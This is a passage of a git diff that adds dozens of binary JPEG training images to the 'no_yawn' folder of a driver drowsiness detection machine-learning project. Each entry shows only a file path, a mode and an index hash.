Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/218.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/218.jpg new file mode 100644 index 00000000..96f882f8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/218.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/219.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/219.jpg new file mode 100644 index 00000000..e3f3a256 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/219.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2196.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2196.jpg new file mode 100644 index 00000000..d9828f73 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2196.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2198.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2198.jpg new file mode 100644 index 00000000..6afa95a7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2198.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2199.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2199.jpg new file mode 100644 index 00000000..05945495 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2199.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2200.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2200.jpg new file mode 100644 index 00000000..3b17a955 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2200.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2201.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2201.jpg new file mode 100644 index 00000000..95276ae0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2201.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2202.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2202.jpg new file mode 100644 index 00000000..68ee99fb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2202.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/221.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/221.jpg new file mode 100644 index 00000000..1e1fd5bf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/221.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2216.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2216.jpg new file mode 100644 index 00000000..69bc2e60 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2216.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2217.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2217.jpg new file mode 100644 index 00000000..6247f375 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2217.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2220.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2220.jpg new file mode 100644 index 00000000..b0364dfa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2220.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2221.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2221.jpg new file mode 100644 index 00000000..1dd224cf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2221.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2222.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2222.jpg new file mode 100644 index 00000000..87b12f26 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2222.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2223.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2223.jpg new file mode 100644 index 00000000..4105b7b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2223.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2224.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2224.jpg new file mode 100644 index 00000000..8dcd5d98 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2224.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2228.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2228.jpg new file mode 100644 index 00000000..729c219b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2228.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2229.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2229.jpg new file mode 100644 index 00000000..8bff1dbc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2229.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/223.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/223.jpg new file mode 100644 index 00000000..f3312c6b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/223.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2230.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2230.jpg new file mode 100644 index 00000000..15c8a099 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2230.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/224.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/224.jpg new file mode 100644 index 00000000..9fe09600 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/224.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2241.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2241.jpg new file mode 100644 index 00000000..e400123e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2241.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2244.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2244.jpg new file mode 100644 index 00000000..63750180 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2244.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2246.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2246.jpg new file mode 100644 index 00000000..443d9133 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2246.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2247.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2247.jpg new file mode 100644 index 00000000..2b82f26e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2247.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/225.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/225.jpg new file mode 100644 index 00000000..58ada76f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/225.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2250.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2250.jpg new file mode 100644 index 00000000..2d82171c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2250.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2251.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2251.jpg new file mode 100644 index 00000000..5638eea1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2251.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2252.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2252.jpg new file mode 100644 index 00000000..13ccebdc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2252.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2253.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2253.jpg new file mode 100644 index 00000000..bafc78ab Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2253.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2254.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2254.jpg new file mode 100644 index 00000000..833ca39d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2254.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2256.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2256.jpg new file mode 100644 index 00000000..87b76e54 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2256.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2259.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2259.jpg new file mode 100644 index 00000000..3ead9999 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2259.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/226.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/226.jpg new file mode 100644 index 00000000..63daf1df Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/226.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2282.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2282.jpg new file mode 100644 index 00000000..382de010 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2282.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2283.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2283.jpg new file mode 100644 index 00000000..b1d1d384 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2283.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2284.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2284.jpg new file mode 100644 index 00000000..41d63772 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2284.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2286.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2286.jpg new file mode 100644 index 00000000..31633350 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2286.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2287.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2287.jpg new file mode 100644 index 00000000..43685e2a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2287.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2288.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2288.jpg new file mode 100644 index 00000000..fc1da98c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2288.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/229.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/229.jpg new file mode 100644 index 00000000..3e803d1e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/229.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2290.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2290.jpg new file mode 100644 index 00000000..2c162091 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2290.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2296.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2296.jpg new file mode 100644 index 00000000..f311e0a6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2296.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2297.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2297.jpg new file mode 100644 index 00000000..3e2dc671 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2297.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2298.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2298.jpg new file mode 100644 index 00000000..ea985cc9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2298.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2299.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2299.jpg new file mode 100644 index 00000000..ae0627bb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2299.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2300.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2300.jpg new file mode 100644 index 00000000..5741cc68 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2300.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/231.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/231.jpg new file mode 100644 index 00000000..ebb584b5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/231.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2312.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2312.jpg new file mode 100644 index 00000000..69817f5a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2312.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2313.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2313.jpg new file mode 100644 index 00000000..341c8ce5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2313.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2327.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2327.jpg new file mode 100644 index 00000000..f824b9d8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2327.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2330.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2330.jpg new file mode 100644 index 00000000..c92f9faa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2330.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/234.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/234.jpg new file mode 100644 index 00000000..8729611f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/234.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2341.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2341.jpg new file mode 100644 index 00000000..429b4063 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2341.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2342.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2342.jpg new file mode 100644 index 00000000..f8745a5b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2342.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2343.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2343.jpg new file mode 100644 index 00000000..9829e2ad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2343.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2344.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2344.jpg new file mode 100644 index 00000000..3714e56d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2344.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2349.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2349.jpg new file mode 100644 index 00000000..f193ce1f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2349.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/235.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/235.jpg new file mode 100644 index 00000000..f344ea95 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/235.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2350.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2350.jpg new file mode 100644 index 00000000..e7718ae8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2350.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2356.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2356.jpg new file mode 100644 index 00000000..f425a400 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2356.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2357.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2357.jpg new file mode 100644 index 00000000..29f3fa27 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2357.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2358.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2358.jpg new file mode 100644 index 00000000..8b06aa31 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2358.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2371.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2371.jpg new file mode 100644 index 00000000..0692ccc9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2371.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2372.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2372.jpg new file mode 100644 index 00000000..8e2711bc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2372.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2373.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2373.jpg new file mode 100644 index 00000000..12d26bbc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2373.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2374.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2374.jpg new file mode 100644 index 00000000..ff0b340b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2374.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/238.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/238.jpg new file mode 100644 index 00000000..d4f94d64 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/238.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2396.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2396.jpg new file mode 100644 index 00000000..8b2a4947 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2396.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2399.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2399.jpg new file mode 100644 index 00000000..e67e8583 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2399.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2400.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2400.jpg new file mode 100644 index 00000000..96402f63 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2400.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2403.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2403.jpg new file mode 100644 index 00000000..e16b0ba0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2403.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2404.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2404.jpg new file mode 100644 index 00000000..e53f7b86 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2404.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2407.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2407.jpg new file mode 100644 index 00000000..6033ba4c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2407.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2409.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2409.jpg new file mode 100644 index 00000000..56a06ac8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2409.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2410.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2410.jpg new file mode 100644 index 00000000..c90e5d1b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2410.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2426.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2426.jpg new file mode 100644 index 00000000..e7117970 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2426.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2427.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2427.jpg new file mode 100644 index 00000000..5127f87f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2427.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2428.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2428.jpg new file mode 100644 index 00000000..2f8bd93c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2428.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2429.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2429.jpg new file mode 100644 index 00000000..7e41bc44 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2429.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2430.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2430.jpg new file mode 100644 index 00000000..9e8c8484 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2430.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2432.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2432.jpg new file mode 100644 index 00000000..22a11203 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2432.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2433.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2433.jpg new file mode 100644 index 00000000..c2c3e29e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2433.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2434.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2434.jpg new file mode 100644 index 00000000..12c6b642 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2434.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2440.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2440.jpg new file mode 100644 index 00000000..21ef95f1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/no_yawn/2440.jpg differ 